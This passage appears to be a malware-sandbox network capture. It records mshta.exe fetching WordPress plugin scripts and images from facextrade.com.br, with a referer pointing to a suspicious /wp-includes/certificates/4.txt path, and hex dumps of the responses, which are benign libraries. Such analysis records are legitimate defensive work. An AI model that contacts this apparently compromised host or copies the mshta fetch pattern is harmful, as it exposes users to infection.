                                                                                      Data Ascii: !function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret||t.message||t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      26192.168.2.349782187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:48.353404999 CEST2697OUTGET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:48.568653107 CEST2744INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:41 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4fac1-5486-58592f81e2d80"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT
                                                                                      Content-Length: 21638
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 18315024 23601747
                                                                                      Age: 187
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 32 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 41 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6c 65 78 73 6c 69 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 61 28 62 29 3b 64 2e 76 61 72 73 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 61 2e 66 6c 65 78 73 6c 69 64 65 72 2e 64 65 66 61 75 6c 74 73 2c 63 29 3b 76 61 72 20 6a 2c 65 3d 64 2e 76 61 72 73 2e 6e 61 6d 65 73 70 61 63 65 2c 66 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 6d 73 50 6f 69 6e 74 65 72 45 6e 61 62 6c 65 64 26 26 77 69 6e 64 6f 77 2e 4d 53 47 65 73 74 75 72 65 2c 67 3d 28 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 7c 7c 66 7c 7c 77 69 6e 64 6f 77 2e 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 26 26 64 6f 63 75 6d 65 6e 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 29 26 26 64 2e 76 61 72 73 2e 74 6f 75 63 68 2c 68 3d 22 63 6c 69 63 6b 20 74 6f 75 63 68 65 6e 64 20 4d 53 50 6f 69 6e 74 65 72 55 70 22 2c 69 3d 22 22 2c 6b 3d 22 76 65 72 74 69 63 61 6c 22 3d 3d 3d 64 2e 76 61 72 73 2e 64 69 72 65 63 74 69 6f 6e 2c 6c 3d 64 2e 76 61 72 73 2e 72 65 76 65 72 73 65 2c 6d 3d 64 2e 76 61 72 73 2e 69 74 65 6d 57 69 64 74 68 3e 30 2c 6e 3d 22 66 61 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 6f 6e 2c 6f 3d 22 22 21 3d 3d 64 2e 76 61 72 73 2e 61 73 4e 61 76 46 6f 72 2c 70 3d 7b 7d 2c 71 3d 21 30 3b 61 2e 64 61 74 61 28 62 2c 22 66 6c 65 78 73 6c 69 64 65 72 22 2c 64 29 2c 70 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 61 6e 69 6d 61 74 69 6e 67 3d 21 31 2c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 70 61 72 73 65 49 6e 74 28 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3f 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3a 30 2c 31 30 29 2c 69 73 4e 61 4e 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 26 26 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 30 29 2c 64 2e 61 6e 69 6d 61 74 69 6e 67 54 6f 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 61 74 45 6e 64 3d 30 3d 3d 3d 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 7c 7c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 3d 3d 64 2e 6c 61 73 74 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 3d 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 75 62 73 74 72 28 30 2c 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2e 73 65 61 72 63 68 28 22 20 22 29 29 2c 64 2e 73 6c 69 64 65 73 3d 61 28 64 2e 76 61 72 73 2e 73 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63 6f 6e 74 61 69 6e 65 72 3d 61 28 64 2e 63 6f 6e 74 61 69 6e 65 72 53 65 6c 65 63 74 6f 72 2c 64 29 2c 64 2e 63
                                                                                      Data Ascii: /* * jQuery FlexSlider v2.2.2 * Copyright 2012 WooThemes * Contributing Author: Tyler Smith */!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window||f||window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide||d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.c
                                                                                      Aug 16, 2022 11:39:48.568675995 CEST2746INData Raw: 6f 75 6e 74 3d 64 2e 73 6c 69 64 65 73 2e 6c 65 6e 67 74 68 2c 64 2e 73 79 6e 63 45 78 69 73 74 73 3d 61 28 64 2e 76 61 72 73 2e 73 79 6e 63 29 2e 6c 65 6e 67 74 68 3e 30 2c 22 73 6c 69 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69
                                                                                      Data Ascii: ount=d.slides.length,d.syncExists=a(d.vars.sync).length>0,"slide"===d.vars.animation&&(d.vars.animation="swing"),d.prop=k?"top":"marginLeft",d.args={},d.manualPause=!1,d.stopped=!1,d.started=!1,d.startTimeout=null,d.transitions=!d.vars.video&&
                                                                                      Aug 16, 2022 11:39:48.568698883 CEST2747INData Raw: 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 66 3d 30 3e 62 3f 64 2e 67 65 74 54 61 72 67 65 74 28 22 6e 65 78 74 22 29 3a 64 2e 67 65 74 54 61 72 67 65 74 28 22 70 72 65 76 22 29
                                                                                      Data Ascii: function(a,b){a.preventDefault();var f=0>b?d.getTarget("next"):d.getTarget("prev");d.flexAnimate(f,d.vars.pauseOnAction)}),d.vars.pausePlay&&p.pausePlay.setup(),d.vars.slideshow&&d.vars.pauseInvisible&&p.pauseInvisible.init(),d.vars.slideshow&
                                                                                      Aug 16, 2022 11:39:48.568727016 CEST2749INData Raw: 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 64 2e 63 75 72 72 65 6e 74 49 74 65 6d 3c 65 3f 22 6e 65 78 74 22 3a 22 70 72 65 76 22 2c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c
                                                                                      Data Ascii: ||(d.direction=d.currentItem<e?"next":"prev",d.flexAnimate(e,d.vars.pauseOnAction,!1,!0,!0))})})):d.slides.on(h,function(b){b.preventDefault();var c=a(this),f=c.index(),g=c.offset().left-a(d).scrollLeft();0>=g&&c.hasClass(e+"active-slide")?d.f
                                                                                      Aug 16, 2022 11:39:48.568778992 CEST2751INData Raw: 61 72 20 63 3d 61 28 74 68 69 73 29 2c 66 3d 64 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 69 6e 64 65 78 28 63 29 3b 63 2e 68 61 73 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 22 29 7c 7c 28 64 2e 64 69 72 65 63 74 69 6f 6e 3d 66 3e 64 2e 63 75 72 72
                                                                                      Data Ascii: ar c=a(this),f=d.controlNav.index(c);c.hasClass(e+"active")||(d.direction=f>d.currentSlide?"next":"prev",d.flexAnimate(f,d.vars.pauseOnAction))}""===i&&(i=b.type),p.setToClearWatchedEvent()})},setupManual:function(){d.controlNav=d.manualContro
                                                                                      Aug 16, 2022 11:39:48.568803072 CEST2753INData Raw: 6f 6e 74 61 69 6e 65 72 29 2e 61 70 70 65 6e 64 28 62 29 2c 64 2e 64 69 72 65 63 74 69 6f 6e 4e 61 76 3d 61 28 22 2e 22 2b 65 2b 22 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 6c 69 20 61 22 2c 64 2e 63 6f 6e 74 72 6f 6c 73 43 6f 6e 74 61 69 6e 65
                                                                                      Data Ascii: ontainer).append(b),d.directionNav=a("."+e+"direction-nav li a",d.controlsContainer)):(d.append(b),d.directionNav=a("."+e+"direction-nav li a",d)),p.directionNav.update(),d.directionNav.bind(h,function(b){b.preventDefault();var c;(""===i||i===
                                                                                      Aug 16, 2022 11:39:48.568826914 CEST2754INData Raw: 29 2c 22 22 3d 3d 3d 69 26 26 28 69 3d 62 2e 74 79 70 65 29 2c 70 2e 73 65 74 54 6f 43 6c 65 61 72 57 61 74 63 68 65 64 45 76 65 6e 74 28 29 7d 29 7d 2c 75 70 64 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 70 6c 61 79 22 3d 3d 3d 61 3f 64
                                                                                      Data Ascii: ),""===i&&(i=b.type),p.setToClearWatchedEvent()})},update:function(a){"play"===a?d.pausePlay.removeClass(e+"pause").addClass(e+"play").html(d.vars.playText):d.pausePlay.removeClass(e+"play").addClass(e+"pause").html(d.vars.pauseText)}},touch:f
                                                                                      Aug 16, 2022 11:39:48.568875074 CEST2757INData Raw: 61 74 68 2e 61 62 73 28 6b 29 3e 67 2f 32 29 3f 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 6d 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c
                                                                                      Data Ascii: ath.abs(k)>g/2)?d.flexAnimate(m,d.vars.pauseOnAction):n||d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}b.removeEventListener("touchend",t,!1),a=null,c=null,h=null,e=null}function u(a){a.stopPropagation(),d.animating?a.preventDefault():
                                                                                      Aug 16, 2022 11:39:48.568898916 CEST2758INData Raw: 69 6f 6e 29 3a 6e 7c 7c 64 2e 66 6c 65 78 41 6e 69 6d 61 74 65 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 2c 64 2e 76 61 72 73 2e 70 61 75 73 65 4f 6e 41 63 74 69 6f 6e 2c 21 30 29 7d 61 3d 6e 75 6c 6c 2c 63 3d 6e 75 6c 6c 2c 68 3d 6e 75 6c 6c
                                                                                      Data Ascii: ion):n||d.flexAnimate(d.currentSlide,d.vars.pauseOnAction,!0)}a=null,c=null,h=null,e=null,q=0}}var a,c,e,g,h,i,j=!1,o=0,p=0,q=0;f?(b.style.msTouchAction="none",b._gesture=new MSGesture,b._gesture.target=b,b.addEventListener("MSPointerDown",u,!
                                                                                      Aug 16, 2022 11:39:48.568923950 CEST2760INData Raw: 48 69 64 64 65 6e 22 69 6e 20 64 6f 63 75 6d 65 6e 74 26 26 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76 69 73 50 72 6f 70 3d 61 5b 62 5d 2b 22 48 69 64 64 65 6e 22 29 3b 69 66 28 70 2e 70 61 75 73 65 49 6e 76 69 73 69 62 6c 65 2e 76
                                                                                      Data Ascii: Hidden"in document&&(p.pauseInvisible.visProp=a[b]+"Hidden");if(p.pauseInvisible.visProp){var c=p.pauseInvisible.visProp.replace(/[H|h]idden/,"")+"visibilitychange";document.addEventListener(c,function(){p.pauseInvisible.isHidden()?d.startTime
                                                                                      Aug 16, 2022 11:39:48.784554005 CEST2771INData Raw: 2e 63 6f 6e 74 72 6f 6c 4e 61 76 2e 61 63 74 69 76 65 28 29 2c 6d 7c 7c 64 2e 73 6c 69 64 65 73 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 65 2b 22 61 63 74 69 76 65 2d 73 6c 69 64 65 22 29 2e 65 71 28 62 29 2e 61 64 64 43 6c 61 73 73 28 65 2b 22 61
                                                                                      Data Ascii: .controlNav.active(),m||d.slides.removeClass(e+"active-slide").eq(b).addClass(e+"active-slide"),d.atEnd=0===b||b===d.last,d.vars.directionNav&&p.directionNav.update(),b===d.last&&(d.vars.end(d),d.vars.animationLoop||d.pause()),n)g?(d.slides.eq
                                                                                      Aug 16, 2022 11:39:48.790397882 CEST2805OUTGET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:49.004959106 CEST2873INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:35:25 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a50db1-cf-5c93d3867844d"
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT
                                                                                      Content-Length: 207
                                                                                      Content-Type: image/png
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 18315026 21587672
                                                                                      Age: 264
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 13 08 06 00 00 00 a9 eb 9c ee 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 27 49 44 41 54 28 91 63 7c f7 ee dd 7f 06 22 00 0b 23 23 23 31 ea 86 84 42 26 a2 54 d1 c4 ea 51 85 d4 51 48 fd 28 04 00 35 2f 04 3f b8 1b 51 2d 00 00 00 00 49 45 4e 44 ae 42 60 82
                                                                                      Data Ascii: PNGIHDRsBIT|dpHYs~tEXtCreation Time01/09/10tEXtSoftwareAdobe Fireworks CS4'IDAT(c|"###1B&TQQH(5/?Q-IENDB`
                                                                                      Aug 16, 2022 11:39:49.006820917 CEST2873OUTGET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:49.224514961 CEST2999INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:35:25 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a50de3-d0-5c93d38684b39"
                                                                                      Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT
                                                                                      Content-Length: 208
                                                                                      Content-Type: image/png
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 18315027 22394923
                                                                                      Age: 264
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 05 00 00 00 03 08 06 00 00 00 5b 36 c5 f8 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 28 49 44 41 54 08 99 5d c8 c1 0d 00 30 0c 83 40 a7 13 b3 89 47 a6 af 48 55 79 9d 98 b6 e6 eb 00 f3 0e 60 a2 46 4d 5b d7 17 94 fd 13 f2 5b d4 0b 67 00 00 00 00 49 45 4e 44 ae 42 60 82
                                                                                      Data Ascii: PNGIHDR[6sBIT|dpHYs~tEXtSoftwareAdobe Fireworks CS4tEXtCreation Time01/09/10(IDAT]0@GHUy`FM[[gIENDB`
                                                                                      Aug 16, 2022 11:39:49.297992945 CEST3000OUTGET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:49.512902975 CEST3228INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:42 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4f9ec-6fd-58592ebe62040"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:35:53 GMT
                                                                                      Content-Length: 1789
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780913 23601751
                                                                                      Age: 187
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 2f 2f 20 4f 57 4c 20 43 61 72 6f 75 73 65 6c 20 69 6e 69 74 2e 0a 09 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 3b 0a 0a 09 2f 2f 20 46 75 6c 6c 2d 77 69 64 74 68 20 62 6c 6f 63 6b 20 77 69 74 68 20 6c 65 66 74 2d 72 69 67 68 74 20 70 61 64 64 69 6e 67 73 2e 0a 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 72 61 70 49 6e 6e 65 72 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 72 65 73 69 7a 65 28 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 7d 29 3b 0a 0a 09 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 3b 0a 09 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 74 65 6e 42 6f 78 52 65 73 69 7a 65 46 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 77 69 64 74 68 28 29 2c 0a 09 09 09 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 3d 20 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 20 2f 20 32 2c 0a 09 09 09 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 2d 68 6f 6c 64 65 72 20 3e 20 2e 63 6f 6e 74 61 69 6e 65 72 27 29 2e 77 69 64 74 68 28 29 3b 0a 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 62 6f 78 2e 66 75 6c 6c 2d 77 69 64 74 68 27 29 2e 63 73 73 28 7b 27 70 61 64 64 69 6e 67 2d 6c 65 66 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 70 61 64 64 69 6e 67 2d 72 69 67 68 74 27 3a 20 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 27 2d 27 2b 68 61 6c 66 5f 77 69 64 74 68 5f 6f 66 5f 76 69 65 77 70 6f 72 74 2b 27 70 78 27 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 66 75 6c 6c 2d 62 6c 6f 63 6b 2d 77 72 61 70 27 29 2e 77 69 64 74 68 28 77 69 64 74 68 5f 6f 66 5f 63 6f 6e 74 61 69 6e 65 72 29 3b 0a 09 7d 0a 7d 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 72 72 79 50 6c 75 67 69 6e 43 61 72 6f 75 73 65 6c 49 6e 69 74 28 29 20 7b 0a 09 6a 51 75 65 72 79 28 27 64 69 76 5b 69 64 5e 3d 22 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 2d 22 5d 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 63 61 72 6f 75 73 65 6c 20 3d 20 6a 51 75 65 72 79 28 74 68 69 73 29 2c 0a 09 09 09 61 75 74 6f 5f 70 6c 61 79 20
                                                                                      Data Ascii: jQuery(document).ready(function(){// OWL Carousel init.cherryPluginCarouselInit();// Full-width block with left-right paddings.jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');jQuery(window).resize( function(){contenBoxResizeFunction();});contenBoxResizeFunction();function contenBoxResizeFunction(){var width_of_viewport = jQuery(window).width(),half_width_of_viewport = width_of_viewport / 2,width_of_container = jQuery('.content-holder > .container').width();jQuery('.content_box.full-width').width(width_of_container);jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});jQuery('.full-block-wrap').width(width_of_container);}});function cherryPluginCarouselInit() {jQuery('div[id^="owl-carousel-"]').each(function(){var carousel = jQuery(this),auto_play
                                                                                      Aug 16, 2022 11:39:49.541281939 CEST3229OUTGET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:49.760838985 CEST3506INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:43 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4f8b7-570-58592c72eb640"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT
                                                                                      Content-Length: 1392
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780915 23601753
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 31 20 42 72 61 6e 64 6f 6e 20 41 61 72 6f 6e 20 28 68 74 74 70 3a 2f 2f 62 72 61 6e 64 6f 6e 61 61 72 6f 6e 2e 6e 65 74 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4c 49 43 45 4e 53 45 2e 74 78 74 29 2e 0a 20 2a 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 68 74 74 70 3a 2f 2f 61 64 6f 6d 61 73 2e 6f 72 67 2f 6a 61 76 61 73 63 72 69 70 74 2d 6d 6f 75 73 65 2d 77 68 65 65 6c 2f 20 66 6f 72 20 73 6f 6d 65 20 70 6f 69 6e 74 65 72 73 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 4d 61 74 68 69 61 73 20 42 61 6e 6b 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 61 74 68 69 61 73 2d 62 61 6e 6b 2e 64 65 29 20 66 6f 72 20 61 20 73 63 6f 70 65 20 62 75 67 20 66 69 78 2e 0a 20 2a 20 54 68 61 6e 6b 73 20 74 6f 3a 20 53 65 61 6d 75 73 20 4c 65 61 68 79 20 66 6f 72 20 61 64 64 69 6e 67 20 64 65 6c 74 61 58 20 61 6e 64 20 64 65 6c 74 61 59 0a 20 2a 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 33 2e 30 2e 36 0a 20 2a 20 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 20 31 2e 32 2e 32 2b 0a 20 2a 2f 0a 28 66 75 